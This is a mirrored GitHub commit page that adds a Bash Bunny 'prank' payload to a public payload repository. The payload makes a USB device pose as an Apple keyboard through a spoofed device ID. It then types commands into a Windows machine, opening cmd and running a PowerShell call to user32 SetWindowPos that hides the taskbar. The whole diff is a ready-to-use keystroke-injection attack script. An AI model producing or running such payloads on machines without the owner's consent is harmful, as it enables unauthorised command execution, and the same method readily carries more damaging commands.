mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2026-05-04 15:15:39 +01:00
Add hide-startbar payload (#418)
* Add files via upload * Update readme.md * Update payload.txt * Update readme.md * Update readme.md * Update readme.md * Update readme.md * Update readme.md
This commit is contained in:
@@ -0,0 +1,30 @@
|
||||
# Title: Hide-StartBar
|
||||
# Description: Hides the Windows startbar
|
||||
# Author: Cribbit
|
||||
# Version: 1.0
|
||||
# Category: pranks
|
||||
# Target: Windows 7+ (Powershell)
|
||||
# Attackmodes: HID
|
||||
# Extensions: Run
|
||||
# Notes: 0x0080 = SWP_HIDEWINDOW, 0x0040 = SWP_SHOWWINDOW
|
||||
|
||||
LED SETUP
|
||||
|
||||
ATTACKMODE HID VID_0X05AC PID_0X021E
|
||||
|
||||
LED ATTACK
|
||||
|
||||
Q DELAY 200
|
||||
RUN WIN "cmd"
|
||||
Q DELAY 100
|
||||
Q STRING "mode con:cols=18 lines=1"
|
||||
Q ENTER
|
||||
Q STRING "color FE"
|
||||
Q ENTER
|
||||
Q STRING "powershell \"\$w=Add-Type -Namespace Win32 -Name Funcs -PassThru -MemberDefinition '[DllImport(\\\"user32.dll\\\")] public static extern IntPtr FindWindow(String C, String A); [DllImport(\\\"user32.dll\\\")] public static extern bool SetWindowPos(IntPtr H,IntPtr A,int X,int Y,int C,int D,uint F);';\$w::SetWindowPos(\$w::FindWindow('Shell_traywnd',''),0,0,0,0,0,0x0080);\""
|
||||
Q DELAY 100
|
||||
Q ENTER
|
||||
Q STRING exit
|
||||
Q ENTER
|
||||
|
||||
LED FINISH
|
||||
Reference in New Issue
Block a user